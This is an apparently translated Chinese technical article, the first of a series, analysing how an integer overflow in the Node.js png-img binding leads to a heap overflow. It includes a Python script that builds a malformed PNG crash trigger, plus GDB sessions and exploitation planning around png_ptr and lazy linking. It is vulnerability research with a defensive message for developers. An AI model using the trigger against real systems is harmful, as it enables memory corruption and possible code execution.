在本文中，我們將深入地探討，在通過外部函數接口(Foreign Function Interface，FFI)將基于C/C++的庫“粘合”到解釋語言的過程中，安全漏洞是如何產生的。
從攻擊者角度看問題
從攻擊者的角度來看，了解我們可以控制什么，如何控制，以及我們可以影響什么，對于實現bug的可利用性至關重要。此外，可利用性還受到目標代碼實際使用方式和地點的影響。
如果我們處理的是一個庫代碼中的bug，而這個庫可能被用在更大的軟件中，這就為我們作為攻擊者提供了各種額外的交互機會和影響力。此外，觸發(fā)bug的操作環(huán)境也非常重要。操作系統(tǒng)、系統(tǒng)的硬件以及它們的軟件生態(tài)系統(tǒng)都在各種配置中啟用了不同級別的系統(tǒng)級緩解措施。在一個操作系統(tǒng)上可以通過緩解措施阻止的漏洞可能在另一個操作系統(tǒng)上完全可以被利用。
在png-img案例中，假設我們面對的是最基本的攻擊環(huán)境：一個單一的Javascript文件，需要png-img包，然后用它來加載攻擊者提供的PNG文件。
var fs = require('fs');
PngImg = require('png-img');
var buf = fs.readFileSync('/home/anticomputer/trigger.png');
img = new PngImg(buf);
大多數現代內存破壞攻擊都需要對目標進程內存布局有所了解。因為我們正在重寫內存，所以知道它們在原始內存布局中的位置有助于我們構造替代性的，但功能正常的內存內容，以供目標進程使用。
作為攻擊者，他們希望濫用這些新的內存內容來欺騙涉及它們的算法來執(zhí)行對他們有利的操作。通常來說，攻擊者的目標是執(zhí)行任意代碼或命令，但攻擊者的目標也可能是更深奧的行為。例如，攻擊者也可能想要重寫身份驗證標志，削弱隨機數生成器，或以其他方式顛覆軟件中的安全關鍵邏輯。除此之外，即使只是讓一個進程不可用，本身就可以成為目標，因為它可能導致意想不到的安全影響。
由于缺乏內存布局緩解措施，我們可以對給定的目標二進制代碼及其相關的內存布局進行盲目的假設，或者通過信息泄露來了解內存布局。
信息泄露可以是簡單的，例如通過其他的或重新設計的bug來泄漏內存的內容，也可以是復雜的，例如使用基于計時或崩潰的探測方法來確定某個特定庫的進程內存的某個部分可能存在的位置。需要注意的是，要想利用信息泄露來推進漏洞利用過程，通常需要與目標流程進行反復交互。
由于在我們的single-shot場景中，我們將無法動態(tài)地了解目標進程的內存布局，因此，我們將不得不依靠運氣和有根據的猜測相結合的方式，在觸發(fā)內存破壞時判斷內存中的位置信息。
首先，我們需要找出針對目標節(jié)點二進制文件必須處理的緩解措施。為此，我們可以使用GDB Enhanced Features(GEF)插件中提供的checksec命令。
我們可以看到，我們的目標二進制文件并非一個位置無關的可執(zhí)行文件(Position Independent Executable，PIE)。這意味著，在同一平臺上每次運行這個特定的二進制文件時，Node可執(zhí)行文件的.text和.data段在內存中的位置保持不變。這對我們的single-shot場景非常有幫助，因為這種知識給了我們一個進入可執(zhí)行代碼和程序數據已知位置的鉤子。如果我們測試平臺上的Node二進制文件被編譯成PIE，由于地址空間布局隨機化(ASLR)已經推廣到了現代Linux上的PIE二進制文件，所以，在遠程的single-shot場景中對這個漏洞的實際利用會受到很大的阻礙。
如果我們沒有類似GEF的checksec這樣的工具可用，我們也可以直接使用file命令。由于PIE二進制文件就是類型為ET_DYN(共享對象文件)的Elf可執(zhí)行文件，所以，它們將會顯示為共享庫，而非PIE二進制文件則是ET_EXEC(可執(zhí)行文件)類型。例如，如果我們將非PIE Node二進制文件與我們測試平臺(x86_64 Ubuntu 18.04.4LTS)上的PIE bash二進制文件進行比較，則需要注意以下幾點：
anticomputer@dc1:~$ file /bin/bash
/bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=12f73d7a8e226c663034529c8dd20efec22dde54, stripped
anticomputer@dc1:~$ file /usr/bin/node
/usr/bin/node: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=ee756495e98cf6163ba85e13b656883fe0066062, with debug_info, not stripped進攻計劃
現在，我們知道了相應的操作環(huán)境，以及在嘗試利用漏洞時可能知道哪些內存內容，這樣的話，我們可以開始決定我們要用堆內存控制技術來顛覆哪些算法了。
在這種情況下，會想到三個潛在的選擇，從特定于應用程序到特定于平臺的范圍，具體如下所示：
我們可以攻擊在被破壞的堆內存上運行的png-img和libpng邏輯
我們可以攻擊在被破壞的堆內存上運行的Node.js解釋器邏輯
我們可以攻擊在被破壞的堆內存上運行的系統(tǒng)庫
對我們而言，這三個選項中哪一個最有意義，主要取決于我們愿意為漏洞利用嘗試投入多少時間和精力。但是，就概念驗證級別的工作來說，我們需要采取最便捷的漏洞利用途徑。為了確定哪條路徑，我們必須跟該漏洞打交道，并進行一些動態(tài)分析。
構造觸發(fā)器
到目前為止，我們已經對很多事情進行了理論上的探討。例如，我們探討了攻擊者判斷某個bug是否值得利用時，會考慮哪些因素。既然我們已經決定要嘗試利用png-img bug，那么是時候開始鼓搗該bug本身了。
首先，讓我們歸納出這個bug的基本觸發(fā)條件：我們要創(chuàng)建一個PNG文件，用于觸發(fā)整數溢出，從而導致data_數組內存分配不足，隨后用我們精心制作的PNG行數據覆蓋堆內存。此外，在libpng的PNG分塊解析過程中，我們還必須通過一些校驗和檢查，這樣，我們的惡意PNG數據才能被順利接受，以進行后續(xù)處理。
PNG文件由一個PNG簽名和一系列PNG分塊組成。這些分塊可以進一步分解為：一個4字節(jié)的分塊長度、一個4字節(jié)的分塊類型、一個可變長度的分塊數據，以及一個4字節(jié)的分塊類型和數據的CRC校驗和。PNG中的第一個分塊是IHDR分塊，其中規(guī)定了圖像的寬度和高度。
回顧易受攻擊的png-img綁定代碼，我們可以發(fā)現圖像高度是我們需要控制的變量之一，它用于觸發(fā)整數溢出。另一個變量是一行的字節(jié)數。讓我們來看看png-img，以及隨后的libpng是如何從我們提供的PNG文件中填充這些數據的。
png-img中加載PNG數據的主要入口點是PngImg::PngImg構造函數，其內容如下所示：
PngImg::PngImg(const char* buf, const size_t bufLen)
: data_(nullptr)
{
memset(&info_, 0, sizeof(info_));
PngReadStruct rs;
if(rs.Valid()) {
BufPtr bufPtr = {buf, bufLen};
png_set_read_fn(rs.pngPtr, (png_voidp)&bufPtr, readFromBuf);
[1]
ReadInfo_(rs);
InitStorage_();
png_read_image(rs.pngPtr, &rowPtrs_[0]);
}
}
在[1]處，調用了ReadInfo_，它實際上是一個通過libpng的png_read_info函數填充大多數PNG信息的函數。
void PngImg::ReadInfo_(PngReadStruct& rs) {
png_read_info(rs.pngPtr, rs.infoPtr);
info_.width = png_get_image_width(rs.pngPtr, rs.infoPtr);
info_.height = png_get_image_height(rs.pngPtr, rs.infoPtr);
info_.bit_depth = png_get_bit_depth(rs.pngPtr, rs.infoPtr);
info_.color_type = png_get_color_type(rs.pngPtr, rs.infoPtr);
info_.interlace_type = png_get_interlace_type(rs.pngPtr, rs.infoPtr);
info_.compression_type = png_get_compression_type(rs.pngPtr, rs.infoPtr);
info_.filter_type = png_get_filter_type(rs.pngPtr, rs.infoPtr);
info_.rowbytes = png_get_rowbytes(rs.pngPtr, rs.infoPtr);
info_info_.pxlsize = info_.rowbytes / info_.width;
}
png_read_info將遍歷所有PNG分塊，提取與PNG圖像相關的信息，處理IHDR分塊，并調用png_handle_IHDR。
/* Read and check the IDHR chunk */
void /* PRIVATE */
png_handle_IHDR(png_structrp png_ptr, png_inforp info_ptr, png_uint_32 length)
{
png_byte buf[13];
png_uint_32 width, height;
int bit_depth, color_type, compression_type, filter_type;
int interlace_type;
png_debug(1, "in png_handle_IHDR");
if (png_ptr->mode & PNG_HAVE_IHDR)
png_chunk_error(png_ptr, "out of place");
/* Check the length */
if (length != 13)
png_chunk_error(png_ptr, "invalid");
png_ptr->mode |= PNG_HAVE_IHDR;
png_crc_read(png_ptr, buf, 13);
png_crc_finish(png_ptr, 0);
[1]
width = png_get_uint_31(png_ptr, buf);
height = png_get_uint_31(png_ptr, buf + 4);
bit_depth = buf[8];
color_type = buf[9];
compression_type = buf[10];
filter_type = buf[11];
interlace_type = buf[12];
/* Set internal variables */
png_ptr->widthwidth = width;
png_ptr->heightheight = height;
png_ptr->bit_depth = (png_byte)bit_depth;
png_ptr->interlaced = (png_byte)interlace_type;
png_ptr->color_type = (png_byte)color_type;
#ifdef PNG_MNG_FEATURES_SUPPORTED
png_ptr->filter_type = (png_byte)filter_type;
#endif
png_ptr->compression_type = (png_byte)compression_type;
/* Find number of channels */
switch (png_ptr->color_type)
{
default: /* invalid, png_set_IHDR calls png_error */
case PNG_COLOR_TYPE_GRAY:
case PNG_COLOR_TYPE_PALETTE:
png_ptr->channels = 1;
break;
case PNG_COLOR_TYPE_RGB:
png_ptr->channels = 3;
break;
case PNG_COLOR_TYPE_GRAY_ALPHA:
png_ptr->channels = 2;
break;
case PNG_COLOR_TYPE_RGB_ALPHA:
png_ptr->channels = 4;
break;
}
/* Set up other useful info */
png_ptr->pixel_depth = (png_byte)(png_ptr->bit_depth *
png_ptr->channels);
[2]
png_ptr->rowbytes = PNG_ROWBYTES(png_ptr->pixel_depth, png_ptr->width);
png_debug1(3, "bit_depth = %d", png_ptr->bit_depth);
png_debug1(3, "channels = %d", png_ptr->channels);
png_debug1(3, "rowbytes = %lu", (unsigned long)png_ptr->rowbytes);
png_set_IHDR(png_ptr, info_ptr, width, height, bit_depth,
color_type, interlace_type, compression_type, filter_type);
}
在[1]處，我們看到代碼從IHDR分塊數據中提取寬度和高度(整數);在[2]處，我們看到它通過PNG_ROWBYTES宏導出rowbytes值，這是根據單個像素占用的位數將像素寬度簡單轉換為表示行所需的字節(jié)數。例如，對于8位像素，16像素的寬度意味著16 rowbytes。
我們還注意到png_ptr結構體的填充處理，這是一個基于堆的libpng數據結構，存放所有特定于PNG的數據。其中，包括各種函數指針，當libpng對我們的PNG數據進行操作時，將調用這些指針。例如，當libpng遇到錯誤時，它將調用png_error。
PNG_FUNCTION(void,PNGAPI
png_error,(png_const_structrp png_ptr, png_const_charp error_message),
PNG_NORETURN)
{
…
[1]
if (png_ptr != NULL && png_ptr->error_fn != NULL)
(*(png_ptr->error_fn))(png_constcast(png_structrp,png_ptr),
error_message);
/* If the custom handler doesn't exist, or if it returns,
use the default handler, which will not return. */
png_default_error(png_ptr, error_message);
}
在[1]處我們看到，如果png_ptr結構體含有一個填充error_fn函數指針的字段，則調用該函數指針時會將png_ptr結構體本身作為其第一個參數傳遞。
從攻擊者的角度來看，了解受影響的軟件如何與可能被我們控制的內存進行交互是很重要的。在這種情況下，我們已經確定libpng使用了一個基于堆的結構體，它包含了函數指針，當錯誤發(fā)生時，這些指針會被調用。作為一種重定向執(zhí)行的方法，這在我們的漏洞利用過程中可能會很有幫助，所以我們要注意這一點。
如果我們的漏洞利用過程需要破壞png_ptr結構體，那么它就是濫用應用程序特定堆數據的一個好例子。
長話短說，假設這里使用的是8位像素，我們可以控制直接通過圖像寬度得出的行字節(jié)值。因此，為了觸發(fā)png-img bug，我們只需要創(chuàng)建這樣一個有效的PNG文件：該文件包含的高度和寬度將觸發(fā)整數溢出，并提供足夠的行數據來覆蓋data_相鄰的堆內存。
我們可以使用Python Pillow庫快速地進行演示：
from PIL import Image
import os
import struct
import sys
import zlib
def patch(path, offset, data):
f = open(path, 'r+b')
f.seek(offset)
f.write(data)
f.close()
trigger = 'trigger.png'
row_data = b'A' * 0x100000
width = 0x100
height = int(len(row_data)/width)
# create a template PNG with a valid height for our row_data
im = Image.frombytes("L", (width, height), row_data)
im.save(trigger, "PNG")
# patch in a wrapping size to trigger overwrap and underallocation
patch(trigger, 20, struct.pack('>L', 0x01000001))
# fix up the IHDR CRC so png_read_info doesn't freak out
f = open(trigger, 'rb')
f.seek(16)
ihdr_data = f.read(13)
f.close()
crc = zlib.crc32(ihdr_data, zlib.crc32(b'IHDR') & 0xffffffff) & 0xffffffff
patch(trigger, 29, struct.pack('>L', crc))
當我們使用png-img加載生成的png文件時，將發(fā)生崩潰：
(gdb) r pngimg.js
Starting program: /usr/bin/node pngimg.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff6a79700 (LWP 60942)]
[New Thread 0x7ffff6278700 (LWP 60943)]
[New Thread 0x7ffff5a77700 (LWP 60944)]
[New Thread 0x7ffff5276700 (LWP 60945)]
[New Thread 0x7ffff4a75700 (LWP 60946)]
[New Thread 0x7ffff7ff6700 (LWP 60947)]
Thread 1 "node" received signal SIGSEGV, Segmentation fault.
0x00007ffff7de4e52 in _dl_fixup (l=0x271f0a0, reloc_arg=285) at ../elf/dl-runtime.c:69
69 ../elf/dl-runtime.c: No such file or directory.
(gdb) x/i$pc
=> 0x7ffff7de4e52
(gdb) bt
#0 0x00007ffff7de4e52 in _dl_fixup (l=0x271f0a0, reloc_arg=285) at ../elf/dl-runtime.c:69
#1 0x00007ffff7dec81a in _dl_runtime_resolve_xsavec () at ../sysdeps/x86_64/dl-trampoline.h:125
#2 0x00007ffff4032e63 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#3 0x00007ffff4034899 in png_read_image ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#4 0x00007ffff40246d8 in PngImg::PngImg(char const*, unsigned long) ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#5 0x00007ffff401e8fa in PngImgAdapter::New(Nan::FunctionCallbackInfo
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#6 0x00007ffff401e56f in Nan::imp::FunctionCallbackWrapper ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
...
(gdb) i r rax
rax 0x4141414141414141 4702111234474983745
(gdb)
我們看到，由于_dl_fixup對堆內存進行了操作，而這些堆內存被我們的行數據覆蓋，而行數據由大量的A字節(jié)(0x41)組成，所以我們崩潰了。
由此看來，有一些關鍵的進程會涉及我們控制的堆數據，于是就有了后來的崩潰。我們看到，在_dl_fixup中，崩潰前最后調用的libpng函數是png_read_row。
如果您沒忘記的話，我們最初的漏洞利用理論是，我們或許能夠破壞堆上的png_ptr數據，然后觸發(fā)一個bug，導致libpng調用我們提供給png_error的函數指針值——當它用完行數據時。但是，我們沒有在png_error中崩潰，而是在_dl_fixup中崩潰了。
那么這是怎么回事呢?好吧，首先讓我們確定png_read_row實際上是在嘗試調用png_error。如果我們看一下png_read_row的反匯編輸出，我們會注意到以下內容：
0x00007ffff4032e45
0x00007ffff4032e4c
0x00007ffff4032e4f
0x00007ffff4032e54
0x00007ffff4032e5b
0x00007ffff4032e5e
0x00007ffff4032e63
0x00007ffff4032e6a
0x00007ffff4032e6d
我們注意到，png_error是通過過程鏈接表(procedure linkage table)調用的。其中，第一個參數是通過RDI寄存器傳遞的png_ptr結構體指針，第二個參數是通過RSI寄存器傳遞的錯誤消息。下面，讓我們在png_error@plt上設置斷點，看看會發(fā)生什么。
(gdb) break png_error@plt
Breakpoint 1 at 0x7ffff401d980
(gdb) r pngimg.js
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/bin/node pngimg.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff6a79700 (LWP 60976)]
[New Thread 0x7ffff6278700 (LWP 60977)]
[New Thread 0x7ffff5a77700 (LWP 60978)]
[New Thread 0x7ffff5276700 (LWP 60979)]
[New Thread 0x7ffff4a75700 (LWP 60980)]
[New Thread 0x7ffff7ff6700 (LWP 60981)]
Thread 1 "node" hit Breakpoint 1, 0x00007ffff401d980 in png_error@plt ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
(gdb) bt
#0 0x00007ffff401d980 in png_error@plt ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#1 0x00007ffff4032e63 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
…
(gdb) x/s $rsi
0x7ffff4066820: "Invalid attempt to read row data"
(gdb) x/16x $rdi
0x271f580: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x271f588: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
(gdb)
到目前為止，一切都很好!我們確實在試圖用受控的png_ptr數據調用png_error。但我們?yōu)槭裁磿赺dl_fixup中崩潰，而不是獲得函數指針控制權呢?
好吧，png_error是一個致命的錯誤處理程序。由于這是第一次調用png_error，由于惰性鏈接的緣故，它實際上還沒有被解析和重定位。所以發(fā)生的情況是，過程鏈接表(PLT)中的指令會嘗試跳轉到png_error的全局偏移表(GOT)跳轉槽條目中包含的地址，但這個地址正好指向png_error PLT條目，該條目中包含的指令負責調用動態(tài)鏈接器的運行時解析器。
我們可以單步跟蹤這個過程，以便更好地理解它。
Thread 1 "node" hit Breakpoint 1, 0x00007ffff401d980 in png_error@plt ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401d980
(gdb) x/gx 0x7ffff4274900
0x7ffff4274900: 0x00007ffff401d986
(gdb) si
0x00007ffff401d986 in png_error@plt () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401d986
(gdb) si
0x00007ffff401d98b in png_error@plt () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401d98b
(gdb) si
0x00007ffff401c7a0 in ?? () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401c7a0: pushq 0x257862(%rip) # 0x7ffff4274008
(gdb) si
0x00007ffff401c7a6 in ?? () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401c7a6: jmpq *0x257864(%rip) # 0x7ffff4274010
(gdb) si
_dl_runtime_resolve_xsavec () at ../sysdeps/x86_64/dl-trampoline.h:71
71 ../sysdeps/x86_64/dl-trampoline.h: No such file or directory.
1: x/i $pc
=> 0x7ffff7dec7a0
(gdb)
在這里，我們看到png_error@plt通過GOT跳轉槽跳回PLT的方式調用解析器。鏈接器負責解析和修復png_error的GOT跳轉槽，這樣以后的調用就會直接進入png_error的正確位置。簡單來說，這就是惰性鏈接(lazy linking)的工作原理。
png-img庫使用惰性鏈接進行按需符號解析的事實也告訴我們，它只啟用了部分重定位只讀(RELRO)機制。還記得之前講過的對Node.js二進制代碼進行的安全檢查嗎?它已經啟用了完全的RELRO機制。當完全啟用RELRO時，給定二進制文件的GOT部分被標記為只讀，以防止攻擊者替換GOT中的函數指針值。完全RELRO意味著所有動態(tài)鏈接的函數都必須在二進制文件加載時由鏈接器解析和重新定位，因為已經無法在運行時更新GOT。這是出于性能方面的考慮，因此，我們經常會看到一些庫代碼因為這個原因而被編譯成部分RELRO。
所以總結一下，我們的base node二進制文件并不是一個PIE，并已經啟用了完全的RELRO，而我們的目標png-img庫啟用了部分RELRO。我們的堆溢出破壞了動態(tài)鏈接器用來解析png-img庫的函數的內存，而且我們還覆蓋了png-img捆綁的libpng代碼使用的png_ptr應用的特定數據。我們注意到，png_ptr是作為第一個參數傳遞給這個尚未解析的png_error函數的。
到目前為止，有兩條明顯的漏洞利用途徑。我們可以嘗試觸發(fā)獲取鏈接器數據的堆布局，并執(zhí)行劫持PNG_PTR函數指針的原始計劃，也可以嘗試破壞動態(tài)鏈接器解析器邏輯。
這就是事情變得有些不太確定的地方。我們的堆布局控制是基于我們提供給png-img的靜態(tài)PNG文件的。我們可以將data_數組分配為圖像寬度的倍數，因為該漏洞允許我們使用圖像的寬度和高度來觸發(fā)一個32位的整數溢出。
我們再來看看存在漏洞的代碼。
void PngImg::InitStorage_() {
rowPtrs_.resize(info_.height, nullptr);
[1]
data_ = new png_byte[info_.height * info_.rowbytes];
[2]
for(size_t i = 0; i < info_.height; ++i) {
rowPtrs_[i] = data_ + i * info_.rowbytes;
}
}
在[1]處，data_將是通過整數溢出覆蓋的長度，這意味著我們可以使用height的低位字使data_size成為rowbytes的任意倍數。例如，如果希望data_為8字節(jié)，則可以將rowbytes設置為8，將height設置為((0xFFFFFFFF/8)+1)+1=0x20000001。
這意味著我們可以通過相當精細的方式控制data_chunk的分配大小，從而合理地控制將其存放在堆中的位置。但是，在控制堆分配順序方面，我們沒有太多其他選擇。如果我們能夠更好的控制目標進程中內存的分配和釋放的方式和時間，那么我們可能還可以考慮攻擊系統(tǒng)分配器(glibc)本身。但是，考慮到我們受到緩解機制的諸多限制，如果對分配器沒有足夠的影響力的話，我們的PoC代碼的可靠性將無法滿足我們的最低要求。我們可以探索的一條途徑是，利用其他PNG分塊，以在觸發(fā)內存破壞之前將堆“按摩”到一種有利的狀態(tài)——如果我們的最初探索最終陷入僵局，我們將保留它作為一種選擇。
作為開發(fā)人員，必須了解攻擊者將根據他們愿意花在漏洞利用上面的資源和時間來探索漏洞。即使對于相對簡單的漏洞(例如png-img堆溢出)，我們也看到有一個獨特的攻擊評估方案在起作用，它權衡了針對這里的代碼，各種攻擊策略的優(yōu)缺點。對于各種防御措施，要根據特定平臺和具體目標這兩種角度進行考察。
小結
在本文中，我們將深入地探討，在通過外部函數接口(Foreign Function Interface，FFI)將基于C/C++的庫“粘合”到解釋語言的過程中，安全漏洞是如何產生的。由于篇幅過長，我們將分為多篇進行介紹，更多精彩內容敬請期待!
贛公網安備 36050202000267號
